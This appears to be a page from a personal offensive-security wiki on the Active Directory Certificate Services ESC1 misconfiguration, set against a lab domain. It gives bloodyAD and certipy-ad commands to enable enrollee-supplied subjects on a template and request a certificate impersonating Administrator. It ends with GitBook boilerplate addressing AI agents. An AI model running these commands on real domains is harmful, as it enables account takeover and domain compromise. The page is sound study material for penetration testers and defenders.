> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/11.-esc1.md).

# 11. ESC1

**The mechanism:** a certificate's **Subject Alternative Name (SAN)** field states which identity the certificate represents (e.g. `UPN=jane.doe@domain.htb`). Templates are supposed to restrict SAN selection so users can only request certificates for *themselves*.

ESC1 occurs when a template instead has the **`ENROLLEE_SUPPLIES_SUBJECT`** flag set (visible as bit `0x1` in the `msPKI-Certificate-Name-Flag` attribute) **and** allows enrollment by low-privileged users. This combination lets the *requester* — not the CA or a policy — decide whose identity the certificate represents.

## Why It's So Severe

This isn't a bug being exploited — it's the CA doing exactly what it's configured to do, just configured wrong. Any service trusting certificates from that CA (which, by definition, is every domain-joined system) will accept the resulting certificate as genuine proof of whatever identity was requested — including `Administrator`.

## Worked Example — Flipping a Template Into ESC1

(if you already have write access to it — see `08_DACL_Abuse.md`)

```bash
bloodyAD --host dc1.domain.htb --dc-ip 10.10.10.5 -d domain.htb \
  -u 'jane.doe@domain.htb' -k set object \
  'CN=SomeTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb' \
  msPKI-Certificate-Name-Flag -v '1'
```

## Requesting the Impersonating Certificate

```bash
certipy-ad req -u 'jane.doe@domain.htb' -k -no-pass \
  -dc-ip 10.10.10.5 -target dc1.domain.htb \
  -ca domain-DC1-CA -template SomeTemplate \
  -upn 'Administrator@domain.htb' \
  -sid 'S-1-5-21-...-500'   # 500 = well-known RID for the built-in Administrator
```

The `-upn` flag sets the requested identity; `-sid` sets the matching Security Extension SID (added by newer CAs as an extra binding between cert and account, per KB5014754) — both must point at the same target identity for the certificate to be accepted cleanly.

## Note the Difference From ESC13

ESC13 (`04_ESC13.md`) grants *extra group membership* on top of your real identity. ESC1 lets you become an **entirely different account** outright. ESC1 is generally the more severe of the two.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/11.-esc1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.